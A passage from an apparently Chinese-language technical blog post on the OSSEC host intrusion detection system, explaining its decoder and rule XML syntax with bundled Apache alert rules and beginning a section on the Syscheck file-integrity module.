!important;white-space: inherit !important;">   # 逻辑判断</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;regex</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">offset</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;after_prematch&#34;</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">^from (\S+) via (\S+)$</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/regex&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">     </span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;order&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">srcip, protocol</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/order&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        # 变量名，对应的值为正则表达式里匹配的内容</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/decoder&gt;</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">decoder 利用 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">parent</span></code>、 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">prematch</span></code> 等标签实现逻辑判断（类比于if）， <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">regex</span></code>、 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">order</span></code>实现参数匹配， <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">parent</span></code> 继承的方式，也可以实现多条件分支判断，用于识别不同类型的日志（比如ssh日志中的登录失败、登录成功等）。这样巧妙的设计值得学习。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">rules 一共分为16个等级（0-15），设置为0时只会记录不会告警。同样是通过规则继承实现条件判断，但比decoder更复杂，具体可参考 <a href="https://ossec.github.io/docs/syntax/head_rules.html。" target="_blank">https://ossec.github.io/docs/syntax/head_rules.html。</a></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">举个栗子，OSSEC 自带的 Apache 服务狗带的告警：</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;group</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">name</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;apache,&#34;</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;rule</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">id</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;30100&#34;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">level</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;0&#34;</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;decoded_as&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">apache-errorlog</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/decoded_as&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        # 对应decoder中的name</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;description&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Apache messages grouped.</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/description&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/rule&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;rule</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">id</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;30103&#34;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">level</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;0&#34;</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;if_sid&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">30100</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/if_sid&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">          # 继承</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;match&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">^[notice] </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/match&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">       # if判断</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;description&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Apache notice messages grouped.</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/description&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/rule&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;rule</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">id</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;30104&#34;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">level</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;12&#34;</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;if_sid&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">30103</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/if_sid&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;match&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">exit signal Segmentation Fault</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/match&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;description&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Apache segmentation fault.</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/description&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;info</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">type</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;link&#34;</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"><a href="http://www.securityfocus.com/infocus/1633" target="_blank">http://www.securityfocus.com/infocus/1633</a></span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/info&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;group&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">service_availability,</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/group&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/rule&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/group&gt;</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">告警默认通过邮件发送，具体发送的漏洞等级范围可以在 ossec.conf 中调整。</p><h4 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 18px;white-space: normal;">0x02 完整性检查模块</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">Syscheck（完整性检查）：</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">主要是检查系统中的关键文件的MD5、SHA1变化以及Windows注册表</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">默认6小时检查一次，可以配置。文件的hash信息会同步到 Server 去存储（/var/ossec/queue/syscheck）</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 